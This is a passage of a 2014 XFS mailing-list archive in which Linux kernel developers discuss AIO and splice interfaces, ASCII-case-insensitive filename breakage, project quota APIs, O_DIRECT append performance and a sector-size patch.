VthdCOoCvB7Gk0pGRvwuupCvXJX31+7nLUf9R66kUgg7s5I6SlZiGsUwrvEIPJLJ mypRUaiLzB//6ClTWifNMLS0KON7EGHCnh37Jg82WiZ+vgxej7gvhQOdhCew3axI G9mWx3fnA0iEobVD0/RzQgtRZ0CqenZ4/XOrmHLplq/hi7+mIuuWeH8kRXnVygim Qh4I5IALZsttK7L0HQSOHH+v8YVocilDzSZNzGg9pQS+/X1wYXoHiXHCU9lSHe+m SygajQdk7Lo= =Ymkx -----END PGP SIGNATURE----- --Apple-Mail=_FD255228-C0D0-4E7D-8F9D-F4FA9F697630-- From viro@ftp.linux.org.uk Wed Jan 15 12:10:41 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 1A7B029DF8 for ; Wed, 15 Jan 2014 12:10:41 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 86425AC009 for ; Wed, 15 Jan 2014 10:10:40 -0800 (PST) X-ASG-Debug-ID: 1389809437-04cb6c5b3127ac0001-NocioJ Received: from ZenIV.linux.org.uk (zeniv.linux.org.uk [195.92.253.2]) by cuda.sgi.com with ESMTP id hmLyYi2GVlwF5ofG (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 15 Jan 2014 10:10:38 -0800 (PST) X-Barracuda-Envelope-From: viro@ftp.linux.org.uk X-Barracuda-Apparent-Source-IP: 195.92.253.2 Received: from viro by ZenIV.linux.org.uk with local (Exim 4.76 #1 (Red Hat Linux)) id 1W3Uv5-0004mw-JZ; Wed, 15 Jan 2014 18:10:27 +0000 Date: Wed, 15 Jan 2014 18:10:27 +0000 From: Al Viro To: Christoph Hellwig Cc: Jens Axboe , Mark Fasheh , Joel Becker , linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, Linus Torvalds , Sage Weil , Steve French Subject: Re: [PATCH 0/5] splice: locking changes and code refactoring Message-ID: <20140115181027.GA8077@ZenIV.linux.org.uk> X-ASG-Orig-Subj: Re: [PATCH 0/5] splice: locking changes and code refactoring References: <20131212181459.994196463@bombadil.infradead.org> <20140113141416.GA30117@infradead.org> <20140113235646.GR10323@ZenIV.linux.org.uk> <20140114132207.GA25170@infradead.org> <20140114172033.GU10323@ZenIV.linux.org.uk> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140114172033.GU10323@ZenIV.linux.org.uk> User-Agent: Mutt/1.5.21 (2010-09-15) Sender: Al Viro X-Barracuda-Connect: zeniv.linux.org.uk[195.92.253.2] X-Barracuda-Start-Time: 1389809438 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144117 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Jan 14, 2014 at 05:20:33PM +0000, Al Viro wrote: > And that's less than half of fs/*... I'm not saying that the current > situation on the write side is good; hell, just the mess with write/aio_write > alone is ugly enough - we have > * a bunch of file_operations without ->aio_write(); simple enough. > * a bunch with ->write == do_sync_write. Also simple. > * several with NULL ->write and non-NULL ->aio_write(); same as > do_sync_write() for ->write (socket, android/logger, kmsg, macvtap) > * several with ->aio_write being an optimized equivalent of > do_sync_write() (blackhole for /dev/null and /dev/zero, error for bad_inode) > * 9p cached with its "oh, but if we have O_DIRECT we want ->write() > to be different" (why not use a separate file_operations, then? It's not > as if ->open() couldn't switch to it if it sees O_DIRECT...) > * two infinibad things (ipath and qib), with completely unrelated > semantics on write(2) and writev(2) (the latter shared with aio). As in > "writev() of a single-element iovec array does things that do not even > resemble what write() of the same data would've done". Yes, really - check > for yourself. > * snd_pcm - hell knows; it might be that it tries to collect the > data from iovec and push it in one go, as if it was a single write, but > then it might be something as bogus as what ipath is doing... > * gadgetfs - hell knows; ep_write() seems to be doing something > beyond what ep_aio_write() does, but I haven't traced them down the call > chain... That one, BTW, won't be fun for splice - looks like it cares > about datagram boundaries a lot, so it's not obvious what the semantics > should be. > * lustre. I _think_ do_sync_write() would work there, but I'm might > be easily missing something in all those layers of obfusca^Wgood software > development practices. BTW, ->read/->aio_read situation is only slighlty better - of file_operations instances that have ->aio_read, most have do_sync_read() for ->read() (as they ought to). Exceptions: * 9p O_DIRECT (again) * NULL ->read where do_sync_read ought to be (socket, macvtap) * optimized ->read (/dev/zero, /dev/null, bad_inode) * snd_pcm - magic. It (and its ->aio_write counterpart) wants exactly one iovec per channel. IOW, it's not a general-purpose ->aio_{read,write} at all - it's a magic API shoehorned into readv(2)/writev(2) (and aio IOCB_CMD_P{READ,WRITE}V as well). * lustre - probably could live with do_sync_read(), but there might be stack footprint considerations or some really weird magic going on (the difference is that instead of iocb on stack they appear to be using per-thread one allocated on heap and hashed by pid, of all things). It's really weird - they end up doing repeated hash lookups for that per-thread wastebasket of a structure on different levels of call chain. Looks like they have swept a lot of local variables of a lot of functions into that thing; worse, it appears to be one of several dynamically allocated bits of that thing, hidden behind a bunch of wrappers... Overall feel is Lovecraftian, complete with lurking horrors of the deep... BTW, its ->aio_read would better never return -EIOCBQUEUED - its ->read does *not* wait for completion of iocb it has submitted. * gadgetfs - it appears to be seriously datagram-oriented; basically, they want to reduce readv/writev to read/write, not the other way round. > BTW, speaking of ->aio_write() - why the devil do we pass the pos > argument (long long, at that) separately, when all call sites provably > have it equal to iocb->ki_pos? If nothing else, on a bunch of architectures > it makes the difference between passing arguments in registers and spilling > them on stack; moreover, if we do something and only then call > generic_file_aio_write(), we get to propagate it all way down. And > generic_file_aio_write() has had explicit BUG_ON(iocb->ki_pos != pos) > since 2.5.55, for crying out loud... The same goes for ->aio_read() (except for s/2.5.55/2.5.39/)... From david@fromorbit.com Wed Jan 15 15:08:12 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 968A329DF8 for ; Wed, 15 Jan 2014 15:08:12 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 89251304039 for ; Wed, 15 Jan 2014 13:08:09 -0800 (PST) X-ASG-Debug-ID: 1389820087-04cb6c537ede79f0001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id pDah0CO86z7vMyQr for ; Wed, 15 Jan 2014 13:08:07 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AisKALr31lJ5LKVw/2dsb2JhbABZgwuDOlKyM4VZgRUXdIIlAQEBBCMPASMjEAgDGAICBSECAg8FJQMhE4gDp1qbXhcWgROMa2sHgm+BSASYH4pMh0qDQSg Received: from ppp121-44-165-112.lns20.syd7.internode.on.net (HELO dastard) ([121.44.165.112]) by ipmail06.adl2.internode.on.net with ESMTP; 16 Jan 2014 07:38:06 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1W3Xgx-0001ZG-G3; Thu, 16 Jan 2014 08:08:03 +1100 Date: Thu, 16 Jan 2014 08:08:03 +1100 From: Dave Chinner To: Eric Sandeen Cc: Zachary Kotlarek , xfs@oss.sgi.com Subject: Re: Files with non-ASCII names inaccessible after xfs_repair Message-ID: <20140115210803.GX3469@dastard> X-ASG-Orig-Subj: Re: Files with non-ASCII names inaccessible after xfs_repair References: <20140113192732.GI3469@dastard> <0E45339E-04C4-4775-B6B0-FC55245B0AED@kotlarek.com> <20140114022414.GM3469@dastard> <20140115015350.GR3469@dastard> <61E74CEF-8244-4E90-BA7D-91D54DADC3C1@kotlarek.com> <20140115034803.GT3469@dastard> <1E5E569C-2E11-42A1-A771-89D4800BC412@kotlarek.com> <20140115063722.GW3469@dastard> <52D6AF1A.8010604@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: <52D6AF1A.8010604@sandeen.net> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1389820087 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144121 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Jan 15, 2014 at 09:54:02AM -0600, Eric Sandeen wrote: > On 1/15/14, 12:37 AM, Dave Chinner wrote: > > On Tue, Jan 14, 2014 at 09:30:57PM -0800, Zachary Kotlarek wrote: > >> > >> On Jan 14, 2014, at 7:48 PM, Dave Chinner wrote: > >> > >>> It's called *ASCII* Case Insensitivity for a reason: it doesn't > >>> support anything other than ASCII. So your usage is not actually > >>> supported at all, hence it's no surprise that it has caused > >>> breakage. > >> > >> Okay. Thanks for the explanation. > >> > >> FWIW, I read “ASCII-only case-insensitive” to mean “only case-insensitive for ASCII” as in ñ and Ñ would not match each other. If it actually means “anything other than ASCII is subject to complete breakage” a more nuanced explanation in the man page might be desirable. > > > > Sure. Can you write a patch to add explanation that explain the > > problem you've had? > > > >> I don’t suppose there’s any way to disable that setting short of creating a new file system? > > > > Not officially. Changing it means you have to change every single > > hash for every directory entry. I *think* that you could probably do > > it with a bit of xfs_db magic and and xfs_repair pass. > > > > First, A warning, some advice and a disclaimer: back up anything you > > don't want to lose, because if this screws up it'll trash the > > directory structure and you may *LOSE* *ALL* *YOUR* *DATA*. This is > > dangerous, not recommended and I take no responsibility for what > > happens if you try it and it fails. > > > > After taking a backup, use xfs_metadump to set up for a > > non-destructive trial run. take a copy of the filesystem metadata > > using xfs_metadump: > > > > # xfs_metadump scratch.metadump > > NB: You'll want to add the "-o" option to not obfuscate filenames, or > you'll probably have no idea if Dave's later steps are working or not. > > > (I haven't read the whole thread, but is there no way for ascii-ci mode > to reject non-ascii names in the first place? This seems like quite > the pitfall.) The utf-8 patches add a "is this valid utf-8" check to all the operations that care. We could probably do that for the ASCII-CI stuff if you can define what ASCII means.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Jan 15 15:32:13 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id E317129DF8 for ; Wed, 15 Jan 2014 15:32:13 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id D14EC304051 for ; Wed, 15 Jan 2014 13:32:13 -0800 (PST) X-ASG-Debug-ID: 1389821531-04cb6c537ede83b0001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id oAWnwW2ssezEt7bZ for ; Wed, 15 Jan 2014 13:32:12 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AikKAI/91lJ5LKVw/2dsb2JhbABZgwuDOrMGhVmBFRd0giUBAQEDARgiHCMFCwgDDgoJJQ8FDRgDIROHcAMJB706DYVgFxaMVYEyEQEDTQeENwSWNIFrjFuFO4NBKIEtCBc Received: from ppp121-44-165-112.lns20.syd7.internode.on.net (HELO dastard) ([121.44.165.112]) by ipmail06.adl2.internode.on.net with ESMTP; 16 Jan 2014 08:02:10 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1W3Y4F-0001bi-88; Thu, 16 Jan 2014 08:32:07 +1100 Date: Thu, 16 Jan 2014 08:32:07 +1100 From: Dave Chinner To: Andreas Dilger Cc: Zheng Liu , Ext4 Developers List , Theodore Ts'o , Dmitry Monakhov , Ben Myers , xfs@oss.sgi.com, Li Xi Subject: Re: [RFC] directory quota survey on xfs Message-ID: <20140115213207.GJ3431@dastard> X-ASG-Orig-Subj: Re: [RFC] directory quota survey on xfs References: <20131222095929.GA11444@gmail.com> <20131223014222.GC3220@dastard> <20140115081201.GA3820@gmail.com> <5966C533-EF18-4804-8C83-DFBD607D9BE6@dilger.ca> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <5966C533-EF18-4804-8C83-DFBD607D9BE6@dilger.ca> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1389821531 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144122 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Jan 15, 2014 at 11:03:22AM -0700, Andreas Dilger wrote: > On Jan 15, 2014, at 1:12 AM, Zheng Liu wrote: > > On Mon, Dec 23, 2013 at 12:42:22PM +1100, Dave Chinner wrote: > >> I'd also strongly suggest that you use the XFS userspace quota API > >> for managing project quotas, so that we can use the same management > >> tools and tests to verify that they behave the same. Please don't > >> invent a new version of the quota API to implement this - everything > >> you need ifor managing project/directory quotas is already there in > >> xfs_quota..... > > > > Frankly, I don't like this, really. Now we have quota-tool to manage > > the quota in ext4. So IMHO we'd better go on using this tool because it > > is natural for ext4 users. Zheng - you're confusing the userspace tool that users run with the quotactl API the tool uses to communicate with the kernel. > > I still couldn't accept this fact that I > > need to install xfsprogs for using a feature of ext4. Further, it could > > make users puzzled because they use quota to control user/group quota in > > ext4, but it uses xfs_quota to control project quota. It could bring > > some troubles for the ext4 users who have written some scripts to manage > > their machines. > > Please see Li Xi's recent email "Directory/Project quota supports" on > the linux-ext4 list. He has already added some prototype support for > project quotas to quota-tools. So, while it is a prototype, lets do it the right way. i.e. let's not reinvent the wheel. > I think it might make sense to keep the same API as XFS for the ext4 > quotas (to keep compatibility for existing XFS deployments), but add > support into quota-tools so that it is usable by all filesystems. Well, yes. If you are writing a generic quota tool, then it needs to support all filesystems. We already have a fully featured quota API that can provide this support - it's the API that XFS has been using since it was ported to Linux. We have the opportunity to unify the quota APIs that ext4 and XFS, so we should take the opportunity while it is here. Don't create a new API for ext4 simply because of NIH syndrome. Cheers, Dave. -- Dave Chinner david@fromorbit.com From bpm@sgi.com Wed Jan 15 15:43:49 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 7FF5129DF8 for ; Wed, 15 Jan 2014 15:43:49 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay1.corp.sgi.com (Postfix) with ESMTP id 436C28F8037; Wed, 15 Jan 2014 13:43:46 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id ED46A4266DC; Wed, 15 Jan 2014 15:43:45 -0600 (CST) Date: Wed, 15 Jan 2014 15:43:45 -0600 From: Ben Myers To: Ric Wheeler Cc: Jan Kara , Theodore Ts'o , xfs@oss.sgi.com Subject: Re: Ext4 (and xfs and btrfs?) meetings around LSF Message-ID: <20140115214345.GI1935@sgi.com> References: <20140110115834.GK26378@quack.suse.cz> <20140111180520.GA1557@thunk.org> <20140113054528.GA3837@quack.suse.cz> <52D6B54F.6030600@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52D6B54F.6030600@redhat.com> User-Agent: Mutt/1.5.20 (2009-06-14) On Wed, Jan 15, 2014 at 11:20:31AM -0500, Ric Wheeler wrote: > On 01/13/2014 12:45 AM, Jan Kara wrote: > > Hello, > > > >On Sat 11-01-14 13:05:20, Ted Tso wrote: > >>On Fri, Jan 10, 2014 at 12:58:34PM +0100, Jan Kara wrote: > >>> do you plan to organize an ext4 meeting around LSF? And do you plan it > >>>during Collab summit or on Sunday before LSF? Thanks for answer in advance. > >>Yes, the plan is to have it during the week, after the LSF during the > >>Collab Summit. > >> > >>We'd love to have you there! > > Yeah, I'm planning the travel so I was asking before booking plane > >tickets. I want to take part in the meeting. > > > > Honza > > Taking time to do this for ext4 (and xfs and btrfs) during the > collab summit would be great. I would definitely push to get our Red > Hat people there. I agree. It would be good to have an XFS meeting at Collab. I plan on going. -Ben From david@fromorbit.com Wed Jan 15 16:07:33 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id BA80E29DF8 for ; Wed, 15 Jan 2014 16:07:33 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 9228D30408B for ; Wed, 15 Jan 2014 14:07:30 -0800 (PST) X-ASG-Debug-ID: 1389823645-04bdf00fdf701c30001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id 26P8J3g3WSArWhD4 for ; Wed, 15 Jan 2014 14:07:25 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ao8RAN8F11J5LKVw/2dsb2JhbABZgwuDOqNhjyWBJIQrAQmBFRd0giUBAQEEOhwjEAgDDgoJGgsPBSUDIROIA8MrFxaOIEkHhDcEmB+KTIdKgW+BUiiBLQ Received: from ppp121-44-165-112.lns20.syd7.internode.on.net (HELO dastard) ([121.44.165.112]) by ipmail06.adl2.internode.on.net with ESMTP; 16 Jan 2014 08:37:24 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1W3YcL-0001ir-2y; Thu, 16 Jan 2014 09:07:21 +1100 Date: Thu, 16 Jan 2014 09:07:21 +1100 From: Dave Chinner To: Sergey Meirovich Cc: Christoph Hellwig , xfs@oss.sgi.com, Jan Kara , linux-scsi , Linux Kernel Mailing List , Gluk Subject: Re: Terrible performance of sequential O_DIRECT 4k writes in SAN environment. ~3 times slower then Solars 10 with the same HBA/Storage. Message-ID: <20140115220721.GY3469@dastard> X-ASG-Orig-Subj: Re: Terrible performance of sequential O_DIRECT 4k writes in SAN environment. ~3 times slower then Solars 10 with the same HBA/Storage. References: <20140106201032.GA13491@quack.suse.cz> <20140107155830.GA28395@infradead.org> <20140108140307.GA588@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1389823645 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144123 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Jan 14, 2014 at 03:30:11PM +0200, Sergey Meirovich wrote: > Hi Cristoph, > > On 8 January 2014 16:03, Christoph Hellwig wrote: > > On Tue, Jan 07, 2014 at 08:37:23PM +0200, Sergey Meirovich wrote: > >> Actually my initial report (14.67Mb/sec 3755.41 Requests/sec) was about ext4 > >> However I have tried XFS as well. It was a bit slower than ext4 on all > >> occasions. > > > > I wasn't trying to say XFS fixes your problem, but that we could > > implement appending AIO writes in XFS fairly easily. > > > > To verify Jan's theory, can you try to preallocate the file to the full > > size and then run the benchmark by doing a: > > > > # fallocate -l > > > > and then run it? If that's indeed the issue I'd be happy to implement > > the "real aio" append support for you as well. > > > > I've resorted to write simple wrapper around io_submit() and ran it > against preallocated file (exactly to avoid append AIO scenario). > Random data was used to avoid XtremIO online deduplication but results > were still wonderfull for 4k sequential AIO write: > > 744.77 MB/s 190660.17 Req/sec > > Clearly Linux lacks "rial aio" append to be available for any FS. > Seems that you are thinking that it would be relatively easy to > implement it for XFS on Linux? If so - I will really appreciate your > afford. Yes, I think it can be done relatively simply. We'd have to change the code in xfs_file_aio_write_checks() to check whether EOF zeroing was required rather than always taking an exclusive lock (for block aligned IO at EOF sub-block zeroing isn't required), and then we'd have to modify the direct IO code to set the is_async flag appropriately. We'd probably need a new flag to say tell the DIO code that AIO beyond EOF is OK, but that isn't hard to do.... And for those that are wondering about the stale data exposure problem documented in the aio code: /* * For file extending writes updating i_size before data * writeouts complete can expose uninitialized blocks. So * even for AIO, we need to wait for i/o to complete before * returning in this case. */ This is fixed in XFS by removing a single if() check in xfs_iomap_write_direct(). We already use unwritten extents for DIO within EOF to avoid races that could expose uninitialised blocks, so we just need to make that unconditional behaviour. Hence racing IO on concurrent appending i_size updates will only ever see a hole (zeros), an unwritten region (zeros) or the written data. Christoph, are you going to get any time to look at doing this in the next few days? Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Jan 15 16:38:57 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 69B3F29DF8 for ; Wed, 15 Jan 2014 16:38:57 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 341F98F8033 for ; Wed, 15 Jan 2014 14:38:54 -0800 (PST) X-ASG-Debug-ID: 1389825531-04bdf00fe2702930001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id c9TMEaxBkocIM8uM for ; Wed, 15 Jan 2014 14:38:52 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AikKAOcM11J5LKVw/2dsb2JhbABZgwuDOrMGhVmBFRd0giUBAQEDAScTHCMFCwgDGAklDwUlAyETh3wHwzgXFo4gSQeENwSUOoNlikyHSoNBKIEt Received: from ppp121-44-165-112.lns20.syd7.internode.on.net (HELO dastard) ([121.44.165.112]) by ipmail06.adl2.internode.on.net with ESMTP; 16 Jan 2014 09:08:51 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1W3Z6m-0001rz-9d; Thu, 16 Jan 2014 09:38:48 +1100 Date: Thu, 16 Jan 2014 09:38:48 +1100 From: Dave Chinner To: Eric Sandeen Cc: xfs-oss Subject: Re: [PATCH] xfs: allow logical-sector sized O_DIRECT for any fs sector size Message-ID: <20140115223848.GZ3469@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs: allow logical-sector sized O_DIRECT for any fs sector size References: <52D6CC91.6000408@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52D6CC91.6000408@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1389825531 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144123 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Jan 15, 2014 at 11:59:45AM -0600, Eric Sandeen wrote: > Some time ago, mkfs.xfs started picking the storage physical > sector size as the default filesystem "sector size" in order > to avoid RMW costs incurred by doing IOs at logical sector > size alignments. > > However, this means that for a filesystem made with i.e. > a 4k sector size on an "advanced format" 4k/512 disk, > 512-byte direct IOs are no longer allowed. This means > that XFS has essentially turned this AF drive into a hard > 4K device, from the filesystem on up. > > XFS's mkfs-specified "sector size" is really just controlling > the minimum size & alignment of filesystem metadata IO. > > There is no real need to tightly couple XFS's minimal > metadata size to the minimum allowed direct IO size; > XFS can continue doing metadata in optimal sizes, but > still allow smaller DIOs for apps which issue them, > for whatever reason. Given that we already serialise sub-block IO completely, doing "sub-sector" IO will also be serialised so there shouldn't be any new issues introduced by this change. > This patch adds 2 new fields to the xfs_buftarg, so that > we now track 3 sizes: > > 1) The device logical sector size > 2) The device physical sector size > 3) The filesystem sector size, which is the minimum unit and > alignment of IO which will be performed by metadata operations. I wouldn't call it the "filesystem sector size" because it's clear that it doesn't apply to everything in the filesystem. I'd prefer that we call it the "metadata sector size", similar to the "log sector size" we keep for situations where the external log device has a different sector size to the data device. > The first is used for the minimum allowed direct IO alignment, > the 2nd is used to report DIO sizes in XFS_IOC_DIOINFO > (the theory being, if an app actually asks, we can give them > the optimal answer, even if we allow smaller IOs), and the > 3rd is used internally by the filesystem for metadata IOs. Terminology nit: the 3rd is set by mkfs to define the physical format constraints that metadata in the filesystem must obey. If we ever have to allocate sector sized metadata, then it will be used for more than just IO.... > This has passed xfstests on filesystems made with 4k sectors, > including when run under the patch I sent to ignore > XFS_IOC_DIOINFO, and issue 512 DIOs anyway. I also directly > tested end of block behavior on preallocated, sparse, and > existing files when we do a 512 IO into a 4k file on a > 4k-sector filesystem, to be sure there were no unexpected > behaviors. > > Signed-off-by: Eric Sandeen > --- > > NB: This depends on this patch which is in the xfs tree, > but not yet upstream: > xfs: simplify xfs_setsize_buftarg callchain; remove unused arg > > > > diff --git a/fs/xfs/xfs_buf.c b/fs/xfs/xfs_buf.c > index 9fccfb5..a89dcdf 100644 > --- a/fs/xfs/xfs_buf.c > +++ b/fs/xfs/xfs_buf.c > @@ -1599,6 +1599,7 @@ xfs_setsize_buftarg( > unsigned int blocksize, > unsigned int sectorsize) > { > + /* Set up filesystem block and sector sizes */ > btp->bt_bsize = blocksize; > btp->bt_sshift = ffs(sectorsize) - 1; The two places that use bt_sshift convert it back to a byte count. We should change this simply to being a byte count. > btp->bt_smask = sectorsize - 1; > @@ -1614,6 +1615,9 @@ xfs_setsize_buftarg( > return EINVAL; > } > > + /* Set up device logical & physical sector size info */ > + btp->bt_lsmask = bdev_logical_block_size(btp->bt_bdev) - 1; > + btp->bt_pssize = bdev_physical_block_size(btp->bt_bdev); > return 0; > } > > diff --git a/fs/xfs/xfs_buf.h b/fs/xfs/xfs_buf.h > index 1cf21a4..29a0db9 100644 > --- a/fs/xfs/xfs_buf.h > +++ b/fs/xfs/xfs_buf.h > @@ -88,14 +88,28 @@ typedef unsigned int xfs_buf_flags_t; > */ > #define XFS_BSTATE_DISPOSE (1 << 0) /* buffer being discarded */ > > +/* > + * The xfs_buftarg contains 3 notions of "sector size" - > + * > + * 1) The device logical sector size > + * 2) The device physical sector size > + * 3) The filesystem sector size, which is the minimum unit and > + * alignment of IO which will be performed by metadata operations. > + * > + * The latter is specified at mkfs time, stored 